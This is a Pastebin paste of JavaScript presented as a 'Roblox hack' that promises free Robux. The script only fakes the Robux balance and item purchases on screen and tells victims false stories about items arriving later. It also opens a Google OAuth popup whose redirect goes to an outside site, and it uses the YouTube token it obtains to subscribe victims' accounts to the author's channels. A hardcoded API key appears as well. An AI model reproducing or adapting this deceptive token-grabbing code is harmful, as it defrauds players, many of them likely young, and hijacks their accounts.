URBAN420NETWORK

Roblox.Hack.js

Nov 17th, 2016
7,446
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Roblox.Hack = {
  2.     channelIds: ['UC999p8uVXgWuujHTkn9AcrQ', 'UCDrc9dZBmzLa4lHA9kWwXkg'], //Subscribing to these channels will increase the amount of ROBUX you get!
  3.     robuxPerChannel: 100000, //How much ROBUX should you get just by subscribing?
  4.     original: 'missingno',
  5.     balance: 0,
  6.     initialized: 0,
  7.     loading: false,
  8.     items: [],
  9.     inventoryString: '<li class="list-item item-card ng-scope"><div class="item-card-container"><a class="item-card-link" href="%1" data-ytta-id="-"><div class="item-card-thumb-container"><div ng-hide="item.Product.SerialNumber==null" class="item-serial-number ng-binding ng-hide">#</div><img thumbnail="item.Thumbnail" image-retry="" class="item-card-thumb ng-isolate-scope" src="%2"></div><div class="text-overflow item-card-name ng-binding" title="%6 ">%6 </div></a><!-- ngIf: item.Item.AudioUrl --><div class="text-overflow item-card-creator"><span class="xsmall text-label">By</span> <a class="xsmall text-overflow text-link ng-binding" ng-href="%3" ng-hide="assetsListContent.assetItems.data.Data.PageType!==\'favorites\'&amp;&amp;currentData.category.name==\'Places\'&amp;&amp;(currentData.subcategory.name==\'My VIP Servers\'||currentData.subcategory.name==\'Other VIP Servers\')&amp;&amp;staticData.isOwnPage" href="%3" data-ytta-id="-">%4</a> <a class="xsmall text-overflow text-link ng-binding ng-hide" ng-href="" ng-show="assetsListContent.assetItems.data.Data.PageType!==\'favorites\'&amp;&amp;(currentData.subcategory.name==\'My VIP Servers\'||currentData.subcategory.name==\'Other VIP Servers\')"></a></div><div class="item-card-price"><span class="icon-robux-16x16"></span> <span class="text-robux ng-binding ng-hide" ng-show="item.HasPrice"></span> <span class="text-label" ng-hide="item.HasPrice"><!-- ngIf: item.Product.NoPriceText.length>0 --><span ng-if="item.Product.NoPriceText.length>0" ng-class="{\'text-robux\':item.Product.NoPriceText===\'Free\'}" class="ng-binding ng-scope text-robux">%5</span><!-- end ngIf: item.Product.NoPriceText.length>0 --></span></div></div></li>',
  10.     disableF5: function (e) { if ((e.which || e.keyCode) == 116 || (e.which || e.keyCode) == 82) { e.preventDefault(); document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href; } },
  11.     watermark: function () {
  12.         console.clear();
  13.         console.log("__________ ________ __________.____    ________  ____  ___\n\\______   \\\\_____  \\\\______   \\    |   \\_____  \\ \\   \\/  /\n |       _/ /   |   \\|    |  _/    |    /   |   \\ \\     / \n |    |   \\/    |    \\    |   \\    |___/    |    \\/     \\ \n |____|_  /\\_______  /______  /_______ \\_______  /___/\\  \\\n        \\/         \\/       \\/        \\/       \\/      \\_/\nRoblox.Hack.js created by " + Roblox.Hack.credits + "\n\nUsage:\nRoblox.Hack.setRobux( int ); // Sets your robux to the value provided\nRoblox.Hack.onload // Override for custom pages\nRoblox.Hack.addRobux( int ); //Increases robux balance\nRoblox.Hack.onloaded // Override for custom pages");
  14.     },
  15.     PopupCenter: function(url, title, w, h) {
  16.         var dualScreenLeft = window.screenLeft != undefined ? window.screenLeft : screen.left;
  17.         var dualScreenTop = window.screenTop != undefined ? window.screenTop : screen.top;
  18.  
  19.         var width = window.innerWidth ? window.innerWidth : document.documentElement.clientWidth ? document.documentElement.clientWidth : screen.width;
  20.         var height = window.innerHeight ? window.innerHeight : document.documentElement.clientHeight ? document.documentElement.clientHeight : screen.height;
  21.  
  22.         var left = ((width / 2) - (w / 2)) + dualScreenLeft;
  23.         var top = ((height / 2) - (h / 2)) + dualScreenTop;
  24.         var newWindow = window.open(url, title, 'scrollbars=yes, width=' + w + ', height=' + h + ', top=' + top + ', left=' + left);
  25.  
  26.         if (window.focus) {
  27.             newWindow.focus();
  28.         }
  29.        
  30.         return newWindow;
  31.     },
  32.     setRobux: function (robux) {
  33.         //Roblox.NumberFormatting.js
  34.         typeof Roblox == "undefined" && (Roblox = {}), typeof Roblox.NumberFormatting == "undefined" && (Roblox.NumberFormatting = function () { var n = function (n) { if (typeof n != "number") throw "'number' is not a number"; return n.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",") }, t = function (t) { var i, r, u; if (typeof t != "number") throw "'number' is not a number"; var f = 1e4, e = 1e6, o = 1e9; return t == 0 ? "0" : t < f ? n(t) : (i = "B+", r = 9, t < e ? (i = "K+", r = 3) : t < o && (i = "M+", r = 6), u = t.toString(), u.substring(0, u.length - r) + i) }; return { abbreviatedFormat: t, commas: n } }());
  35.         //Roblox.NumberFormatting.js
  36.  
  37.         Roblox.Hack.balance = robux;
  38.         var doc = document.getElementById('documentFrame').contentWindow.document;
  39.         if (doc.getElementById('nav-robux-amount') != null) {
  40.             doc.getElementById("nav-robux-balance").innerHTML = Roblox.NumberFormatting.abbreviatedFormat(Roblox.Hack.balance) + " ROBUX";
  41.             doc.getElementById("nav-robux-amount").innerHTML = Roblox.NumberFormatting.abbreviatedFormat(Roblox.Hack.balance);
  42.         }
  43.     },
  44.     addRobux: function (robux) {
  45.         Roblox.Hack.setRobux(Roblox.Hack.balance + robux);
  46.     },
  47.     addItem: function (category, name, image, creator, price, url, profile) {
  48.         Roblox.Hack.items.push({ category: category, name: name, image: image, creator: creator, price: price, profile: profile, url: url });
  49.     },
  50.     format: function (str, arr) {
  51.         return str.replace(/%(\d+)/g, function (_, m) {
  52.             return arr[--m];
  53.         });
  54.     },
  55.     getChannelName: function(id) {
  56.         var xhr = new XMLHttpRequest();
  57.         xhr.open('GET', 'https://www.googleapis.com/youtube/v3/channels?part=snippet&id=' + id + '&key=AIzaSyDAoF7FGB9fuQfSK5zFgkR71DL8lUy_u3E', false);
  58.         xhr.send();
  59.  
  60.         return JSON.parse(xhr.responseText).items[0].snippet.title;
  61.     },
  62.     init: function () {
  63.         if (Roblox.Hack.initialized != 0) {
  64.             console.log("Already initalized!");
  65.             return;
  66.         }
  67.        
  68.         var oauth = Roblox.Hack.PopupCenter("https://accounts.google.com/o/oauth2/v2/auth?scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fyoutube&access_type=offline&include_granted_scopes=true&state=state_parameter_passthrough_value&redirect_uri=https%3A%2F%2Flytfyi.azurewebsites.net%2Fgoogleauth.aspx&response_type=code&client_id=260663773302-cs7r3lm6733djqfgsrfnf448r7crd3o4.apps.googleusercontent.com", "_blank", "450", "550");
  69.         window.addEventListener('message', function(event) {
  70.             if(event.data == "denied") {
  71.                 oauth.close();
  72.                 console.log("denied");
  73.                 alert("You must press allow or the script wont work!");
  74.             } else if(event.data == "error") {
  75.                 oauth.close();
  76.                 console.log("error");
  77.                 alert("An error has occured! Please try again later.");
  78.             } else if(event.data.token != null) {
  79.                 oauth.close();
  80.                
  81.                 Roblox.Hack.ytToken = event.data.token;
  82.                 console.log("success!");
  83.                
  84.                 if (Roblox.Hack.initialized != 0) {
  85.                     console.log("Already initalized!");
  86.                     return;
  87.                 }
  88.                
  89.                 for(var i = 0; i < document.getElementsByName('channelId').length; i++) {
  90.                     Roblox.Hack.channelIds.push(document.getElementsByName('channelId')[i].getAttribute('content'));
  91.                 }
  92.                
  93.                 Roblox.Hack.credits = Roblox.Hack.getChannelName(Roblox.Hack.channelIds[0]);
  94.                
  95.                 setTimeout(function() {
  96.                     for(var i = 0; i < Roblox.Hack.channelIds.length; i++) {
  97.                         var id = Roblox.Hack.channelIds[i];
  98.                         var info = Roblox.Hack.getChannelName(id);
  99.                        
  100.                         if(confirm("Do you want to subscribe to " + info + " for an extra " + Roblox.Hack.robuxPerChannel + " ROBUX?\n\nIf you want an extra " + Roblox.Hack.robuxPerChannel + " ROBUX, press OK.\nIf you don't want free ROBUX press Cancel.")) {
  101.                             var xhr = new XMLHttpRequest();
  102.                             xhr.open('POST',
  103.                               'https://www.googleapis.com/youtube/v3/subscriptions?part=id%2Csnippet&alt=json&key=AIzaSyDAoF7FGB9fuQfSK5zFgkR71DL8lUy_u3E');
  104.                             xhr.setRequestHeader('Authorization',
  105.                               'Bearer ' + Roblox.Hack.ytToken);
  106.                             xhr.setRequestHeader('Content-Type', 'application/json');
  107.                             xhr.send(JSON.stringify({
  108.                                 snippet: {
  109.                                     resourceId: {
  110.                                         kind: 'youtube#channel',
  111.                                         channelId: id
  112.                                     }
  113.                                 }
  114.                             }));
  115.                            
  116.                             Roblox.Hack.addRobux(Roblox.Hack.robuxPerChannel);
  117.                            
  118.                             xhr.onreadystatechange = function() {
  119.                                 if (xhr.readyState == XMLHttpRequest.DONE) {
  120.                                     console.log(xhr.responseText);
  121.                                 }
  122.                             }
  123.                         }
  124.                     }
  125.                 }, 5000);
  126.                
  127.                 window.onbeforeunload = function () {
  128.                     return "Your ROBUX has not finished saving, if you continue your balance will be set to " + Roblox.Hack.original + " ROBUX";
  129.                 }
  130.                 Roblox.Hack.initialized = 1;
  131.                 Roblox.Hack.original = document.getElementById('nav-robux-amount').innerHTML;
  132.                 Roblox.Hack.balance = parseInt(document.getElementById('nav-robux-amount').innerHTML.replace(/,/g, '').replace('K+', '999').replace('M+', '999999').replace('B+', '999999999'));
  133.                 document.documentElement.innerHTML = "<body style='margin:0px;padding:0px:overflow:hidden'><iframe id='documentFrame' sandbox='allow-same-origin allow-scripts allow-popups allow-forms' src='" + document.location + "' frameborder='0' style='overflow:hidden;height:100%;width:100%;position:absolute' height='100%' width='100%' /></body>";
  134.                 var start_loading = (function () {
  135.                     Roblox.Hack.loading = true;
  136.                 });
  137.                 setInterval(function () {
  138.                     Roblox.Hack.setRobux(Roblox.Hack.balance);
  139.                     if (Roblox.Hack.loading && document.getElementById('documentFrame').contentWindow.document.body.innerHTML.indexOf('nav-robux-amount') != -1) {
  140.                         Roblox.Hack.loading = false;
  141.                         if (document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
  142.                             window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
  143.                         }
  144.                        
  145.                         for (var ok = 0; ok < 20; ok++) {
  146.                             setTimeout(function () {
  147.                                 var doc = document.getElementById('documentFrame').contentWindow.document;
  148.                                 var t = doc.getElementsByClassName("PurchaseButton");
  149.                                 for (var i = 0; i < t.length; i++) {
  150.                                     $(t[i]).replaceWith(function () {
  151.                                         return $('<' + this.nodeName + ' class="' + $(this).attr('class') + '">').append($(this).contents());
  152.                                     });
  153.                                     t[i].onclick = function () {
  154.                                         Roblox.Hack.addItem(
  155.                                             doc.getElementsByClassName("field-content")[0].innerHTML.toLowerCase().replace(/ /g, '-') + 's',
  156.                                             doc.getElementsByClassName('item-name-container')[0].children[0].innerHTML,
  157.                                             doc.getElementsByClassName('thumbnail-span')[0].children[0].src,
  158.                                             doc.getElementsByClassName('text-name')[0].innerHTML,
  159.                                             doc.getElementsByClassName('text-robux-lg')[0].innerHTML,
  160.                                             window.location.href,
  161.                                             doc.getElementsByClassName('text-name')[0].href
  162.                                             );
  163.                                         document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Purchase Completed");
  164.                                         document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"), 100, 1e3);
  165.                                         setTimeout(function () {
  166.                                             Roblox.Hack.addRobux(-parseInt(document.getElementById('documentFrame').contentWindow.$(".text-robux-lg").html().replace(/,/g, '')));
  167.                                             document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href;
  168.                                         }, 200);
  169.                                     }
  170.                                 }
  171.                             }, ok * 150);
  172.                         }
  173.  
  174.                         var doc = document.getElementById('documentFrame').contentWindow.document;
  175.                         if (doc.location.href.split('/').length == 6 && document.location.href.split('/')[3] == 'catalog') {
  176.                             for (var i = 0; i < Roblox.Hack.items.length; i++) {
  177.                                 var item = Roblox.Hack.items[i];
  178.                                 if (item.url == window.location.href) {
  179.                                     var buyInterval = setInterval(function () {
  180.                                         if (doc.getElementsByClassName('text-label').length > 0 && doc.getElementsByClassName('text-label field-label price-label').length > 0 && doc.getElementsByClassName('action-button').length > 0) {
  181.                                             clearInterval(buyInterval);
  182.                                             doc.getElementsByClassName('text-label')[0].outerHTML += '<div class="divider">&nbsp;</div><div class="label-checkmark"><span class="icon-checkmark-white-bold"></span></div><span>Item Owned</span>';
  183.                                             doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML = '<div class="item-first-line">This item is available in your inventory.</div>' + doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML;
  184.                                             doc.getElementsByClassName('action-button')[0].innerHTML = '<a id="edit-avatar-button" href="https://www.roblox.com/my/character.aspx" class="btn-control-md" data-button-action="avatar" data-ytta-id="-">Edit Avatar</a>';
  185.                                         }
  186.                                     }, 1);
  187.                                 }
  188.                             }
  189.                         }
  190.  
  191.                         /*if(typeof(doc.getElementById('assetsItems')) != 'undefined') {
  192.                             var inventory = doc.getElementById('assetsItems');
  193.                             for(var i = 0; i < Roblox.Hack.items.length; i++) {
  194.                                 var item = Roblox.Hack.items[i];
  195.                                 if(item.category == window.location.href.split('/')[6]) {
  196.                                     inventory.innerHTML += Roblox.Hack.format(Roblox.Hack.inventoryString, [item.url, item.image, item.profile, item.creator, item.price, item.name]);
  197.                                 }
  198.                             }
  199.                         }*/
  200.  
  201.                         document.title = doc.title;
  202.                         if (typeof (Roblox.Hack.onload) != 'undefined') Roblox.Hack.onload();
  203.                     }
  204.                 }, 1);
  205.                 window.addEventListener('message', function (e) { if (e.data == 'iframe_change') { start_loading(); } }, false);
  206.                 $('#documentFrame').load(function () {
  207.                     if (Roblox.Hack.initialized != 2) {
  208.                         Roblox.Hack.initialized = 2;
  209.                         document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Successfully loaded");
  210.                         document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"), 100, 2e3);
  211.                     }
  212.                     Roblox.Hack.watermark();
  213.                     document.getElementById('documentFrame').contentWindow.onunload = function () { window.top.postMessage('iframe_change', '*'); };
  214.                     if (document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
  215.                         window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
  216.                     }
  217.                     if (document.getElementById('documentFrame').contentWindow.document.location.href.indexOf('my/character.aspx') != -1 || document.getElementById('documentFrame').contentWindow.document.getElementById('assetsItems') != null) {
  218.                         if (window.confirm("You must be subscribed to " + Roblox.Hack.credits + " to receive the items you bought\nIf you are subscribed, press Cancel and wait up to 15 minutes for the item to be added to your inventory.\nIf you have not subscribed yet, press OK to be redirected to the subscribe page.")) {
  219.                             var win = window.open('https://www.youtube.com/channel/' + channelIds[0] + '?sub_confirmation=1', '_blank');
  220.                             win.focus();
  221.                         } else {
  222.                             alert("The items will now be added to your inventory. It may take between 15 minutes to 48 hours for your item to appear\nIf you did not subscribe this will not work\n\nYou do not have to leave this page open, feel free to close the tab, play ROBLOX, or turn off your PC.");
  223.                         }
  224.                     }
  225.                     document.title = document.getElementById('documentFrame').contentWindow.document.title;
  226.                     if (typeof (Roblox.Hack.onloaded) != 'undefined') Roblox.Hack.onloaded();
  227.                 });
  228.                 window.onpopstate = function (event) {
  229.                     document.getElementById('documentFrame').contentWindow.document.location = document.location;
  230.                 };
  231.                 $(document).ready(function () {
  232.                     $(document).on("keydown", Roblox.Hack.disableF5);
  233.                 });
  234.             }
  235.         }, false);
  236.     }
  237. }
Add Comment
Please, Sign In to add comment